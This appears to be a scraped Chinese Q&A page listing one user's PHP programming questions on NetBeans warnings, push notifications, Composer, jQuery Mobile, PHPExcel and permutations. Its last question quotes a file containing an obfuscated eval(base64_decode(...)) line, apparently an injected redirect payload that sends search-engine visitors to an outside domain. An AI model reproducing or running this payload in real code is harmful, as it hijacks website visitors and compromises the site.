小编Kan*_*ika的帖子

在Netbeans 7.4 for PHP上警告"不要直接访问Superglobal $ _POST数组"

我在Netbeans 7.4 for PHP上收到此消息警告,而我正在使用$ _POST,$ _GET,$ _SERVER,....

不要直接访问Superglobal $ _POST数组

这是什么意思?我该怎么做才能纠正这个警告?

编辑:事件示例代码仍显示此警告.

php netbeans superglobals netbeans-7.4

116
推荐指数
3
解决办法
10万
查看次数

使用php发送Windows Phone 7的推送通知

我是一名Web开发人员(PHP).我想使用PHP搜索到Windows Phone 7的推送通知,但结果总是.NET.

请有人可以帮助我.

更新:如何一次发送多个设备?因为延迟时间大约是1秒,所以如果我要推送1000个设备,我可能需要1000秒才能等待.

php push-notification windows-phone-7 mpns

11
推荐指数
1
解决办法
6486
查看次数

如何删除composer php中的所有测试?

我是作曲家发展的新手.我刚开始在当前项目中使用composer.而且我认为我之前已经提出过我的问题,或者我对作曲家说道:D

每个依赖项的供应商中都有许多测试文件和目录.我只是想在将它们上传到服务器之前删除这些测试.

是否有任何命令删除这些测试或我需要手动删除它或什么......?:'(

php composer-php

11
推荐指数
1
解决办法
3426
查看次数

如何在拆分按钮listview上自定义jquery mobile到3个锚点?

我想将listview分割按钮上的jquery mobile定制为3个链接列表.http://jquerymobile.com/demos/1.1.0/docs/lists/lists-split.html

这就是我想要的例子:

在此输入图像描述

感谢帮助.

html css jquery jquery-mobile

6
推荐指数
1
解决办法
8550
查看次数

android使用google c2dm一次性向许多设备发送通知

我已经使用google c2dm成功实现了android推送通知.我总是发送一个设备的发布请求,一个设备延迟1-2秒.因此,如果我有1000个设备,我的脚本将需要超过1000秒才能完成对所有设备的推送.

我想知道的是,我们可以将所有设备的发布请求发送到谷歌c2dm吗?如果可以,该怎么办?

我正在使用PHP脚本.

这是我将消息推送到设备的代码:

function sendMessageToPhone($authCode, $deviceRegistrationId, $msgType, $messageText, $infoType, $messageInfo) {

    $headers = array('Authorization: GoogleLogin auth=' . $authCode);
    $data = array(
        'registration_id' => $deviceRegistrationId,
        'collapse_key' => $msgType,
        'data.message' => $messageText,
        'data.type'    => $infoType,
        'data.data'    => $messageInfo
    );

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://android.apis.google.com/c2dm/send");
    if ($headers)
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    $response = curl_exec($ch);

    curl_close($ch);

    return $response;
}
Run Code Online (Sandbox Code Playgroud)

如果我有更多设备,我会像这样循环:

while($row = mysql_fetch_assoc($result)) {

    sendMessageToPhone($authCode, $row['deviceRegistrationId'], GOOGLE_MSG_TYPE, $messageText, …
Run Code Online (Sandbox Code Playgroud)

php android push-notification android-c2dm

5
推荐指数
1
解决办法
2821
查看次数

PHP代码可以将图像插入excel文件并在MS Excel中正确打开它?

我已经有一个excel文档,我想用php将图像插入到那个excel中.

有可能吗?如何实现它(代码)?

谢谢,

php image phpexcel

3
推荐指数
1
解决办法
8333
查看次数

php中阶乘的排列

不知道怎么解释.但也许下面的例子会让你理解我的问题是什么.

示例:

我有一个包含3个元素的数组.

$elements = array( 'A', 'B', 'C' );
Run Code Online (Sandbox Code Playgroud)

排列将是3 in 3.所以结果是:

A-B-C ; A-C-B ; B-A-C ; B-C-A ; C-A-B; C-B-A
Run Code Online (Sandbox Code Playgroud)

我不希望任何排列2中3或1中3,只有3中3,如您在示例中所见.因此,如果我在一个数组中有4个元素,则排列是4中的4,依此类推......

(我认为排列的数量是3!= 1*2*3 = 6个排列,4!= 1*2*3*4 = 24个排列......这就是为什么我称之为因子的排列.)

如果还有其他问题和答案类似于我的问题,请告诉我

php permutation factorial

2
推荐指数
1
解决办法
840
查看次数

当我尝试使用<?php echo $ id?>时,在netbeans php中属性id"no whitespace"的值不好

我正在使用NetBeans编写嵌入HTML的PHP​​代码.当我使用PHP生成id属性时,如下所示:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title></title>
    </head>
    <body>
        <div id="<?php echo 'TEST_ID'?>">
            TEST
        </div>
    </body>
</html>
Run Code Online (Sandbox Code Playgroud)

...我收到以下错误消息:

元素"tr"上的属性"id"的值""":ID不能包含空格.

如何从我的Netbeans for PHP中禁用或删除此错误?

在此输入图像描述

哈哈再次尝试我的自我发现如何禁用这种压力IDE但我喜欢它:D

看截图^ _ ^

在此输入图像描述

html php netbeans netbeans-7.4

2
推荐指数
1
解决办法
1640
查看次数

如何使用PHP从php文件中读取数据?

我想在文件A.php中使用php代码来读取另一个php文件B.php的数据.所以B.php中的所有php脚本都不会执行,它只是字符串.

不幸的是,当我在A.php中读取它时,B.php中的数据正在执行.

这是A.php中的代码:

$handle = @fopen('B.php', 'r') or print " ---> cannot read B.php!";
$filesize = @filesize('B.php');
$str = $filesize ? @fread($handle, $filesize) : null;
@fclose($handle);

if (!$str) {
    echo 'B.php is empty!';
    exit;
}
else {
    //TODO continue process
}
Run Code Online (Sandbox Code Playgroud)

这是B.php中的代码:

<?php       eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));?>
Run Code Online (Sandbox Code Playgroud)

注意:B.php文件不能更改.我的代码在A.php中

更新:当我从A.php读取时,B.php中的数据没有执行.但是我怎么能打印出数据呢?因为我使用打印它echo $str,浏览器中没有显示任何内容.

php readfile

-1
推荐指数
1
解决办法
300
查看次数